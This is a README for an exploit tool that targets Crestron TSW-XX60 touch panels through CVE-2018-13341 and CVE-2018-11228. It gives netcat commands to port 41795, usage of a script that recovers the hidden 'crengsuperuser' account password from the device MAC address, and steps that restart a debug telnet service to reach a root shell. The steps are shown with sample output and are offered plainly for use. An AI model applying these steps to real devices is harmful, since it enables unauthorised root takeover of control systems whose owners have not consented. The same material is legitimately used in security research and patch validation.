CVE-2018-13341

This Tool Aims to Exploit the CVE-2018-13341, By Using the MAC address of the targeted device, you can recover the password of the "crengsuperuser" hidden account which has elevated privileges and allow you to run SUDO commands.

The Crestron Toolbox Protocol (CTP) can be connected to by accessing port 41795 on the TSW-XX60 device.

# nc -C w.x.y.z 41795
TSW-760 Control Console

TSW-760> estat

The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
	Link Status ....... : OK
	DHCP .............. : ON
	MAC Address ....... : 00.XX.XX.XX.XX.XX
	IP Address ........ : [removed]
	Subnet Mask ....... : [removed]
	IPV6 Address ...... : [removed]
	Default Gateway ... : [removed]


	DNS Servers ........ : [removed]    | DHCP      |
	                       [removed]    | DHCP      |

Requirements

This tool requires the CryptoGraphy module.

# pip3 install cryptography

OR

# pip3 install -r requirements.txt

Getting Started

usage: exploit.py [-h] [-m MAC]


# Example
# python3 exploit.py -m aabbccddeeff
[*] Device MAC address: AAXXYYZZ
[*] Password for 'crengsuperuser': somerandompass

Exploiting the CVE-2018-11228

The CVE-2018-11228 allows unauthenticated RCE via Bash Shell Service in Crestron Terminal Protocol (CTP). After getting the password of the "crengsuperuser" hidden account you can get a root access on the Machine.

# nc -C w.x.y.z 41795

TSW-760 Control Console

TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************

Service telnetd_debug restarted

TSW-760>

Then, in a new shell, you can get root access on the box.

# telnet w.x.y.z

bash# whoami
root

Credit Goes to : axcheron